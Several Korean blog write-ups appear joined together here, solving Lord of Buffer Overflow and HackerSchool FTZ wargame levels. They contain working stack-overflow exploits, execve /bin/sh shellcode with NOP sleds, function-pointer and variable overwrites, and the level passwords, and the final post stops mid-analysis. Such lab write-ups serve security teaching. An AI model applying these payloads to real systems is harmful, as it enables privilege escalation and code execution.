728x90

cobolt / hacking exposed

/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

cobolt에선 argv[1]을 buffer에 복사했는데 이번엔 gets로 입력받는다.

[cobolt@localhost cobolt]$ gdb goblin2 -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x80483f8 <main>:	push   %ebp
0x80483f9 <main+1>:	mov    %ebp,%esp
0x80483fb <main+3>:	sub    %esp,16
0x80483fe <main+6>:	lea    %eax,[%ebp-16]  // buffer 주소 ebp-16
0x8048401 <main+9>:	push   %eax
0x8048402 <main+10>:	call   0x804830c <gets>
0x8048407 <main+15>:	add    %esp,4
0x804840a <main+18>:	lea    %eax,[%ebp-16]
0x804840d <main+21>:	push   %eax
0x804840e <main+22>:	push   0x8048470
0x8048413 <main+27>:	call   0x804833c <printf>
0x8048418 <main+32>:	add    %esp,8
0x804841b <main+35>:	leave  
0x804841c <main+36>:	ret    
0x804841d <main+37>:	nop    
0x804841e <main+38>:	nop    
0x804841f <main+39>:	nop

buffer가 gets 함수 인자로 들어가기에 ebp-16이 buffer의 주소임을 알 수 있다.

먼저 쉘 코드를 환경 변수로 등록한다.

16 bytes의 buffer+sfp (4 bytes)를 덮어쓰고 마지막으로 retn 주소(4 bytes)를 쉘 코드의 주소로 덮어쓴다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>

int main(){
	printf("%p\n",getenv("sh"));
}
[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\x93\xfe\xff\xbf"';cat)|./goblin
AAAAAAAAAAAAAAAAAAAAþÿ¿
my-pass
euid = 503
hackers proof

최종 명령어 형식은 gets로 입력받는 형식이기에 argv[1]을 복사할 때와는 다르다. 문법이 궁금하다면 다음 글을 참고하자.

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
gremlin -> cobolt  (0) 2023.01.21
gate -> gremlin  (0) 2023.01.21
728x90

gremlin / hello bof world

/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

buffer의 크기가 작아진 것이 gremlin 문제와의 차이점이다.

Dump of assembler code for function main:
0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,16
0x8048436 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:	jg     0x8048453 <main+35>
0x804843c <main+12>:	push   0x80484d0
0x8048441 <main+17>:	call   0x8048350 <printf>
0x8048446 <main+22>:	add    %esp,4
0x8048449 <main+25>:	push   0
0x804844b <main+27>:	call   0x8048360 <exit>
0x8048450 <main+32>:	add    %esp,4
0x8048453 <main+35>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:	add    %eax,4
0x8048459 <main+41>:	mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:	push   %edx
0x804845c <main+44>:	lea    %eax,[%ebp-16]  //buffer주소 ebp-16
0x804845f <main+47>:	push   %eax
0x8048460 <main+48>:	call   0x8048370 <strcpy>
0x8048465 <main+53>:	add    %esp,8
0x8048468 <main+56>:	lea    %eax,[%ebp-16]
0x804846b <main+59>:	push   %eax
0x804846c <main+60>:	push   0x80484dc

strcpy의 인자로 들어가는 것을 보아 ebp-16이 buffer의 주소다.

ebp-16부터 16 bytes가 buffer의 공간이다. 이어서 sfp (4 bytes)가 존재하고 이어서 retn (4 bytes)가 존재한다. retn을 쉘 코드의 주소로 덮어쓸 것이다.

쉘 코드를 환경 변수로 등록하고 아래의 코드를 이용해서 환경 변수의 주소를 알아낸다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>

int main(){
	printf("%p\n",getenv("sh"));
}

cobolt의 인자로 전달하면 끝이다.

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\x90\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAþÿ¿
bash$ my-pass
euid = 502
hacking exposed
728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
gate -> gremlin  (0) 2023.01.21
728x90

먼저 root / hackerschoolbof로 로그인 후 ifconfig로 ip주소를 알아낸다.

xshell이나 putty를 이용해 23번 포트로 연결 후 gate / gate 로 로그인한다. 문제를 풀때 항상 bash2를 입력하고 시작해야한다.

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- gremlin
	- simple BOF
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

gdb로 들여다보려면 gremlin 실행파일을 복사해서 복사한 실행파일을 gdb로 실행해야 한다.

(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,0x100
0x8048439 <main+9>:	cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:	jg     0x8048456 <main+38>
0x804843f <main+15>:	push   0x80484e0
0x8048444 <main+20>:	call   0x8048350 <printf>
0x8048449 <main+25>:	add    %esp,4
0x804844c <main+28>:	push   0
0x804844e <main+30>:	call   0x8048360 <exit>
0x8048453 <main+35>:	add    %esp,4
0x8048456 <main+38>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:	add    %eax,4
0x804845c <main+44>:	mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:	push   %edx
0x804845f <main+47>:	lea    %eax,[%ebp-256]
0x8048465 <main+53>:	push   %eax
0x8048466 <main+54>:	call   0x8048370 <strcpy>
0x804846b <main+59>:	add    %esp,8
0x804846e <main+62>:	lea    %eax,[%ebp-256]
0x8048474 <main+68>:	push   %eax
0x8048475 <main+69>:	push   0x80484ec

argv[1]을 buffer에 원하는 만큼 덮어쓸 수 있다. buffer overflow가 가능하다. strcpy 함수의 인자로 buffer가 전달되기에 ebp-256이 buffer의 주소임을 알 수 있다.

두 가지 방식으로 풀었다.

첫 번째 방식

buffer 공간에 ''\x90'과 쉘 코드를 넣어서 최종적으로 '\x90' 중 하나의 주소로 retn 하는 방식으로 해결했다. 이를 NOP Sled 방식이라 하며 쉘 코드의 주소를 정확하게 알지 못해도 공격을 성공할 수 있다. CPU는 '\x90'(NOP)을 만나면 NOP이 아닌 값이 나올 때까지 건너뛴다. 마침내 쉘 코드를 만나면 실행한다. 256 bytes(buffer)+4 bytes(sfp)를 '\x90'*200+"쉘 코드(25 bytes)"+"A"*35로 채우고 이어서 retn 주소를 '\x90' 중 하나의 주소로 설정한다. 위와 같이 값을 넣었을 때 '\x90'의 주소를 알아내기 위해 "A"*260+retn주소 형식으로 실험해 봤다.

argv[1]의 인자값의 길이에 따라 스택의 주소값들이 달라진다. 이 점 때문에 많이 헤맸다.

(gdb) r `python -c 'print "A"*260+"\x6c\xfa\xff\xbf"'`
Starting program: /home/gate/gremlin2 `python -c 'print "A"*260+"\x6c\xfa\xff\xbf"'`

Breakpoint 1, 0x8048439 in main ()
(gdb) ni
0x804843d in main ()

Breakpoint 2, 0x804846b in main ()
(gdb) ni
0x804846e in main ()
(gdb) x/70x $ebp-260
0xbffff904:	0xbffffb64	0x41414141	0x41414141	0x41414141
0xbffff914:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff924:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff934:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff944:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff954:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff964:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff974:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff984:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff994:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9a4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9b4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9c4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9d4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9e4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9f4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa04:	0x41414141	0x41414141	0xbffffa6c	0x00000000
0xbffffa14:	0xbffffa54	0xbffffa60

0xbffff974를 retn 주소로 설정하고 아래와 같이 실행하였다.

[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*35+"\x74\xf9\xff\xbf"'`
1󿿐h//shh/bin⏓󿲒°
               ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAt
bash$ my-pass
euid = 501
hello bof world

두 번째 방식

 ftz 문제 풀 때처럼 쉘 코드를 환경 변수로 등록하여 쉘 코드의 주소로 retn 하는 방식이다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>

int main(){
printf("%p\n",getenv("sh"));
}

환경 변수 주소는 0xbffffe99였다.

[gate@localhost gate]$ ./gremlin `python -c 'print "A"*260+"\x99\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAþÿ¿
bash$ my-pass
euid = 501
hello bof world

euid 501은 gremlin이다.

gremlin의 비밀번호: hello bof world

`python ~~~` 관련 문법이 궁금하다면 다음 글을 참고하자.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
gremlin -> cobolt  (0) 2023.01.21
728x90

level20은 해설하려면 너무 길어진다. 다른 해설을 참고하는게 좋겠다.

아래의 링크의 설명이 매우 상세하다. 여기 참고하는 게 가장 좋아 보인다.

https://orange-makiyato.tistory.com/9

 

해커스쿨 FTZ level20 (HackerSchool) 풀이

힌트를 보자 마지막 uid로 바꾸는 setreuid 함수가 있고 얼마나 많이 입력하든 fgets 함수가 79바이트까지만 받게되어있어 버퍼오버플로우는 불가능하다. 대신에 printf 함수에 인자로 bleh 변수가 그대

orange-makiyato.tistory.com

 

ps) 질문이 있으면 답변은 제가 대신해드릴 수 있습니다.

728x90

'FTZ' 카테고리의 다른 글

level19  (0) 2023.01.19
level18  (0) 2023.01.19
level17  (0) 2023.01.19
level16  (0) 2023.01.19
level15  (0) 2023.01.19
728x90
main()
{ char buf[20];
  gets(buf);
  printf("%s\n",buf);
}

입력을 받아서 출력하는 코드다. bof에 취약한 gets 함수를 사용하고 있다. 다만 이전의 문제들과 다른 점은 setreuid 함수가 없다는 것이다. ftz의 my-pass 함수를 사용하려면 ruid와 euid가 다음 레벨의 uid로 되어야 한다. 그러기 위해선 기존에 사용해 오던 쉘 코드가 아닌 setreuid 함수가 포함된 쉘 코드를 사용해야 한다. 검색을 통해 찾아서 환경변수로 등록했다. 마찬가지로 NOP을 의미하는 \x90은 여유 있게 넣어준다.

[level19@ftz tmp]$ export sh=`python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

아래는 환경 변수로 등록한 쉘 코드의 주소를 출력하는 소스 코드다. 컴파일하여 주솟값을 구한다.

#include <stdio.h>
int main(){
	printf("%p\n",getenv("sh"));
}

gdb로 buf의 주솟값을 파악한다. ebp-40에 위치한다.

[level19@ftz tmp]$ gdb attackme -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>:	push   ebp
0x08048441 <main+1>:	mov    ebp,esp
0x08048443 <main+3>:	sub    esp,0x28
0x08048446 <main+6>:	sub    esp,0xc
0x08048449 <main+9>:	lea    eax,[ebp-40]  //buf 주소 ebp-40
0x0804844c <main+12>:	push   eax
0x0804844d <main+13>:	call   0x80482f4 <gets>
0x08048452 <main+18>:	add    esp,0x10
0x08048455 <main+21>:	sub    esp,0x8
0x08048458 <main+24>:	lea    eax,[ebp-40]
0x0804845b <main+27>:	push   eax
0x0804845c <main+28>:	push   0x80484d8
0x08048461 <main+33>:	call   0x8048324 <printf>
0x08048466 <main+38>:	add    esp,0x10
0x08048469 <main+41>:	leave  
0x0804846a <main+42>:	ret    
0x0804846b <main+43>:	nop

40 bytes + sfp(4 bytes)=44 bytes를 임의의 값으로 채우고 다음 4 bytes인 retn 주솟값이 저장되는 위치에 쉘 코드의 주소를 삽입한다.

[level19@ftz tmp]$ (python -c 'print "A"*44+"\x58\xfe\xff\xbf"';cat)|../attackme
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX?
my-pass
TERM environment variable not set.

Level20 Password is "we are just regular guys".

이미 이전 단계들에서 많이 해오던 방식인데 쉘 코드만 바꼈다. 명령어의 문법은 아래의 글에서 설명하였다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

728x90

'FTZ' 카테고리의 다른 글

level20  (0) 2023.01.20
level18  (0) 2023.01.19
level17  (0) 2023.01.19
level16  (0) 2023.01.19
level15  (0) 2023.01.19
728x90
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);
 
          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}
 
void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}

갑자기 코드가 길어졌는데 별 거 없다. 그냥 내가 입력한 값들이 x에 1byte씩 저장되고 x값에 따라 실행되는 게 달라진다.

그리고 check가  0xdeadbeef면 shellout 함수를 실행할 수 있다.

attackme 실행파일을 level18의 tmp 디렉터리 내부로 복사한 후 gdb를 실행한다.

Dump of assembler code for function main:
0x08048550 <main+0>:	push   ebp
0x08048551 <main+1>:	mov    ebp,esp
0x08048553 <main+3>:	sub    esp,0x100
0x08048559 <main+9>:	push   edi
0x0804855a <main+10>:	push   esi
0x0804855b <main+11>:	push   ebx
0x0804855c <main+12>:	mov    DWORD PTR [ebp-108],0x0  //0을 대입하는 것을 보고 변수 x의 주소임을 확신
0x08048563 <main+19>:	mov    DWORD PTR [ebp-112],0x0  //0을 대입하는 것을 보고 count의 주소임을 확신
0x0804856a <main+26>:	push   0x8048800
0x080485ab <main+91>:	cmp    DWORD PTR [ebp-104],0xdeadbeef  //0xdeadbeef와 비교하기에 check의 주소 확신
0x080485b2 <main+98>:	jne    0x80485c0 <main+112>
0x080485b4 <main+100>:	call   0x8048780 <shellout>​
//switch의 default 부분
0x08048743 <main+499>:	lea    eax,[ebp-100]  //string임을 확신
0x08048746 <main+502>:	mov    DWORD PTR [ebp-252],eax  //string의 주솟값이 ebp-252에 저장
0x0804874c <main+508>:	mov    edx,DWORD PTR [ebp-112]  //count 값이 최종적으로 edx에 저장
0x0804874f <main+511>:	mov    cl,BYTE PTR [ebp-108]  //x 값을 cl에 저장
0x08048752 <main+514>:	mov    BYTE PTR [ebp-253],cl  // c1(x값)의 값을 ebp-253에 저장
0x08048758 <main+520>:	mov    al,BYTE PTR [ebp-253]  //x 값이 최종적으로 al에 저장
0x0804875e <main+526>:	mov    ecx,DWORD PTR [ebp-252]  //string의 주솟값이 ecx에 저장
0x08048764 <main+532>:	mov    BYTE PTR [edx+ecx],al  //string[count]=x
0x08048767 <main+535>:	inc    DWORD PTR [ebp-112]  //x++
0x0804876a <main+538>:	jmp    0x8048770 <main+544>
0x0804876c <main+540>:	lea    esi,[esi*1]
0x08048770 <main+544>:	jmp    0x8048591 <main+65>
0x08048775 <main+549>:	lea    esp,[ebp-268]
0x0804877b <main+555>:	pop    ebx
0x0804877c <main+556>:	pop    esi
0x0804877d <main+557>:	pop    edi
0x0804877e <main+558>:	leave  
0x0804877f <main+559>:	ret

스택의 구조는 다음과 같다.

ebp-112 count
ebp-108 x
ebp-104 check
ebp-100 string

check에 0xdeadbeef를 대입해야 한다. 소스코드를 보면 x 값이 8인 경우 count가 1만큼 감소한다. 그리고 0xa, 0xd, 8이 아닌 경우는 string주소+count 위치에 x를 대입한다.

그렇다면 현재 string의 위치에서 4만큼 감소하면 string의 주소(ebp-100) - 4 = ebp-104가 되어 check에 도달할 것이고 이 상태에서 0xdeadbeef를 저장한다면 문제가 풀릴 것이다.

[level18@ftz tmp]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat)|../attackme
Enter your command: my-pass

Level19 Password is "swimming in pink".

참고로 \x8은 문법 에러고, 그냥 8은 38로 인식된다. 문자 8에 해당하는 아스키코드가 38이기 때문이다. 반드시 \x08로 입력해야 한다.

명령어들이 이해가 안 되면 level11과 level12의 글을 참고하길 바란다. 같은 형식의 명령어를 계속 사용 중이다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'FTZ' 카테고리의 다른 글

level20  (0) 2023.01.20
level19  (0) 2023.01.19
level17  (0) 2023.01.19
level16  (0) 2023.01.19
level15  (0) 2023.01.19
728x90
#include <stdio.h>
 
void printit() {
  printf("Hello there!\n");
}
 
main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  setreuid(3098,3098);
  call();
}

이번엔 쉘 코드를 환경 변수로 등록하여 call 함수 실행 시 쉘 코드를 호출하도록 해야겠다. 그러기 위해선 call 값에 쉘 코드의 주소값을 저장해야 한다. 그리고 앞의 문제들에선 설명하는 것을 깜빡했는데 fgets 함수가 48 bytes까지만 입력받기 때문에 retn 주소를 덮어 씌울 순 없다. 이 문제도 마찬가지로 ebp-56에 buf가 위치하기 때문에 48 bytes를 입력해서는 retn에 도달할 수 없다.

(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>:	push   ebp
0x080484a9 <main+1>:	mov    ebp,esp
0x080484ab <main+3>:	sub    esp,0x38
0x080484ae <main+6>:	mov    DWORD PTR [ebp-16],0x8048490  //call 주솟값 ebp-16
0x080484b5 <main+13>:	sub    esp,0x4
0x080484b8 <main+16>:	push   ds:0x804967c
0x080484be <main+22>:	push   0x30
0x080484c0 <main+24>:	lea    eax,[ebp-56]  //buf 주솟값 ebp-56
0x080484c3 <main+27>:	push   eax
0x080484c4 <main+28>:	call   0x8048350 <fgets>
0x080484c9 <main+33>:	add    esp,0x10
0x080484cc <main+36>:	sub    esp,0x8
0x080484cf <main+39>:	push   0xc1a
0x080484d4 <main+44>:	push   0xc1a
0x080484d9 <main+49>:	call   0x8048380 <setreuid>
0x080484de <main+54>:	add    esp,0x10
0x080484e1 <main+57>:	mov    eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>:	call   eax
0x080484e6 <main+62>:	leave  
0x080484e7 <main+63>:	ret    
0x080484e8 <main+64>:	nop

쉘 코드를 환경 변수로 등록하고 환경 변수의 주솟값을 알아낸다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>
int main(){
	printf("%p\n",getenv("sh"));
}
[level17@ftz tmp]$ gcc getenv.c -o getenv
[level17@ftz tmp]$ ./getenv
0xbffffe69

ebp-56부터 40 bytes를 A로 채우고 ebp-16(call 주소)부터 4 bytes를 0xbffffe69(쉘 코드 주소)로 채운다.

[level17@ftz tmp]$ (python -c 'print "A"*40+"\x69\xfe\xff\xbf"';cat)|../attackme
my-pass
TERM environment variable not set.

Level18 Password is "why did you do it".

명령어들이 이해가 안간다면 level11과 level12의 글을 참고하길 바란다. 같은 형식의 명령어를 계속 사용 중이다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'FTZ' 카테고리의 다른 글

level19  (0) 2023.01.19
level18  (0) 2023.01.19
level16  (0) 2023.01.19
level15  (0) 2023.01.19
level14  (0) 2023.01.19
728x90
#include <stdio.h>
 
void shell() {
  setreuid(3097,3097);
  system("/bin/sh");
}
 
void printit() {
  printf("Hello there!\n");
}
 
main()
{ int crap;
  void (*call)()=printit;
  char buf[20];
  fgets(buf,48,stdin);
  call();
}

fgets 함수로 입력하여 call 변수 저장 위치에 shell 함수의 주소를 저장한다. 그러면 call() 결과 shell 함수가 실행될 것이다.

attackme 실행파일을 현재 디렉터리의 tmp 폴더 아래로 복사한다.

[level16@ftz tmp]$ gdb attackme -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048518 <main+0>:	push   ebp
0x08048519 <main+1>:	mov    ebp,esp
0x0804851b <main+3>:	sub    esp,0x38
0x0804851e <main+6>:	mov    DWORD PTR [ebp-16],0x8048500  //call 주솟값 ebp-16
0x08048525 <main+13>:	sub    esp,0x4
0x08048528 <main+16>:	push   ds:0x80496e8
0x0804852e <main+22>:	push   0x30
0x08048530 <main+24>:	lea    eax,[ebp-56]  //buf 주솟값 ebp-56
0x08048533 <main+27>:	push   eax
0x08048534 <main+28>:	call   0x8048384 <fgets>
0x08048539 <main+33>:	add    esp,0x10
0x0804853c <main+36>:	mov    eax,DWORD PTR [ebp-16]
0x0804853f <main+39>:	call   eax
0x08048541 <main+41>:	leave  
0x08048542 <main+42>:	ret    
0x08048543 <main+43>:	nop
(gdb) disas shell
Dump of assembler code for function shell:
0x080484d0 <shell+0>:	push   ebp
0x080484d1 <shell+1>:	mov    ebp,esp
0x080484d3 <shell+3>:	sub    esp,0x8

shell 함수의 주소값은 0x080484d0 임을 알 수 있다.

ebp-16 위치에 0x080484d0을 대입하자.

[level16@ftz tmp]$ (python -c 'print "A"*40+"\xd0\x84\x04\x08"';cat)|../attackme
my-pass

Level17 Password is "king poetic".

위의 명령이 이해가 안되면 다음 글을 참고하길 바란다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'FTZ' 카테고리의 다른 글

level18  (0) 2023.01.19
level17  (0) 2023.01.19
level15  (0) 2023.01.19
level14  (0) 2023.01.19
level13  (0) 2023.01.19
728x90
#include <stdio.h>
 
main()
{ int crap;
  int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
}

level14와의 유일한 차이는 check가 int형 포인터 변수가 된 것이다.

(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>:	push   ebp
0x08048491 <main+1>:	mov    ebp,esp
0x08048493 <main+3>:	sub    esp,0x38
0x08048496 <main+6>:	sub    esp,0x4
0x08048499 <main+9>:	push   ds:0x8049664
0x0804849f <main+15>:	push   0x2d
0x080484a1 <main+17>:	lea    eax,[ebp-56]  //buf 주솟값 ebp-56
0x080484a4 <main+20>:	push   eax
0x080484a5 <main+21>:	call   0x8048360 <fgets>
0x080484aa <main+26>:	add    esp,0x10
0x080484ad <main+29>:	mov    eax,DWORD PTR [ebp-16]  //check값 ebp-16에 존재. 즉, check 주솟값 ebp-16
0x080484b0 <main+32>:	cmp    DWORD PTR [eax],0xdeadbeef  //*check 포인터 연산
0x080484b6 <main+38>:	jne    0x80484dd <main+77>
0x080484b8 <main+40>:	sub    esp,0x8
0x080484bb <main+43>:	push   0xc18
0x080484c0 <main+48>:	push   0xc18
0x080484c5 <main+53>:	call   0x8048380 <setreuid>
0x080484ca <main+58>:	add    esp,0x10
0x080484cd <main+61>:	sub    esp,0xc
0x080484d0 <main+64>:	push   0x8048548
0x080484d5 <main+69>:	call   0x8048340 <system>
0x080484da <main+74>:	add    esp,0x10
0x080484dd <main+77>:	leave

check 값이 저장되는 위치에 0xdeadbeef의 주솟값을 저장하면 포인터 연산(*)으로 접근 시 0xdeadbeef에 접근하게 될 것이다. 그럼 if문이 참이 되어 ruid와 euid가 level16이 되고 /bin/sh를 실행할 수 있다. 이때 my-pass를 입력하면 level16의 비밀번호가 나온다.

(gdb) x/40x main
0x8048490 <main>:	0x83e58955	0xec8338ec	0x6435ff04	0x6a080496
0x80484a0 <main+16>:	0xc8458d2d	0xfeb6e850	0xc483ffff	0xf0458b10
0x80484b0 <main+32>:	0xbeef3881	0x2575dead	0x6808ec83	0x00000c18
0x80484c0 <main+48>:	0x000c1868	0xfeb6e800	0xc483ffff	0x0cec8310
0x80484d0 <main+64>:	0x04854868	0xfe66e808	0xc483ffff	0x90c3c910

